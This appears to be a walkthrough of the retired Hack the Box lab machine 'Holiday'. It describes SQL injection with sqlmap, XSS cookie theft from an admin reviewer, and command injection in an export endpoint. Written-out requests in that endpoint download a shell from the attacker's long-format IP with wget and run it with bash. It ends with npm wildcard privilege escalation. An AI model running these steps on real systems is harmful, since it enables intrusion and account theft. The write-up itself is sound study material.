The latest box retired (and thus can be written about) from Hack the Box is Holiday! This one has a wide variety of different techniques that you have to put to use. Let’s go.
Right away, it looks like the only interesting result is Node.js running on port 8000. It takes us to a landing page without any links, so that means it’s
dirb time, and that almost immediately finds the /admin portal:
Whenever we hit a login page, its smart to run sqlmap on it as you poke at it yourself. Sometimes it will find something you wouldn’t, or vice versa. In this case, initially running sqlmap returns a 404:
Since we’re running sqlmap through our Burp proxy (you are, right?), we can compare our manual test to sqlmap’s. This allows me to see that the only missing piece is our User-Agent. Luckily, sqlmap has a solution for that:
and it runs successfully and tells us know that
username is injectable, and that this is a SQLlite database.
We can then dump the database table names, and then users table to get the following:
[17:10:45] [INFO] retrieved: fdc8cd4cff2c19e0d1022e78481ddf36 [17:10:58] [INFO] retrieved: RickA
You can crack the hash via your preferred method (CrackStation is usually good for these purposes), and login as RickA. It looks like we’re in some sort of holiday booking system. We have the ability to view bookings and add notes to the bookings. Something that caught my eye is the following text on the “Add Note” page:
All notes must be approved by an administrator - this process can take up to 1 minute.
When we try to add a note, it appears after ~1 minute, meaning there is some kind of “manual” review step. This should make you think of XSS right away. Something that threw me at first is that the cookies are HttpOnly, which usually means we can’t actually steal any cookies; however, since our other enumerations have come up with squat, let’s give it a try.
XSS can be extremely painful to exploit, as it is highly browser dependant, and we don’t know if the admin is using Firefox or Chrome; if they have XSS security flags enabled or disabled; etc. So let’s just brute force it: OWASP has a great cheat sheet of XSS evasion techniques.
The goal is to get the “admin” browser to make a web request to us with all of the information we can possible send. The first step is to start a simple HTTP client so that we can actually receive the requests:
and then think about what kind of HTML we can inject that will send us the data we want. We know the cookies are a bust, so let’s just get the HTTP content to start (sidenote: I’m using an
img tag because trial and elimination determined it was something that didn’t get as escaped):
Next, we have to perform various obfuscations on it to get past the server-side filter (hint: look into
String.fromCharCode) until we finally get a response from the admin:
which we just have to base64 decode back into HTML. This contains a hidden input with the admin’s cookie (a little too conviently; not sure why they just didn’t use non-HttpOnly cookies). Now we just have to use a cookie manager to overwrite our cookie with the admin’s, and navigate to
This page allows us to export from the bookings and notes database tables. The data is returned after a
GET request to
/admin/export?table=. If we play around with the
table parameter, the following error appears:
Invalid table name - only characters in the range of [a-z0-9&\s\/] are allowed - so we have a blacklist to bypass. We also very quickly find that the export lets us execute arbitray commands:
GET /admin/export?table=bookings%26ls index.js layouts node_modules package.json setup static views 1|e2d3f450-bdf3-4c0a-8165-e8517c94df9a|Wilber [...]
We’re close to a shell, we just need to figure out how we can get our IP address into a file/command, despite
. being on the blacklist. Luckily, tools like
curl, etc can parse IP addresses in various interesting ways, but the one that is valuable here is the long ip format. This means we can download a shell from our computer onto the victim, and then execute it via something like
GET /admin/export?table=bookings%26wget+[YOURLONGIP]/shell HTTP/1.1 followed by
GET /admin/export?table=bookings%26bash+shell HTTP/1.1.
Now that we have a shell, we can
cat user.txt and look into privledge escalation. Right away
sudo -l gives us our route:
Super simple. After doing some basic recon on npm, we find that:
npm iwill build any directory with a
package.jsonfiles can contain
preinstallwill execute arbitrary bash commands
The only hurdle is that by default, npm won’t run “unsafe” (sh) commands, so we need to trick it. Since there’s wildcard in there, it’s obvious that this is the typical wildcard exploit where we pass in a command line parameter as a folder name (
--unsafe-perm), and, voila: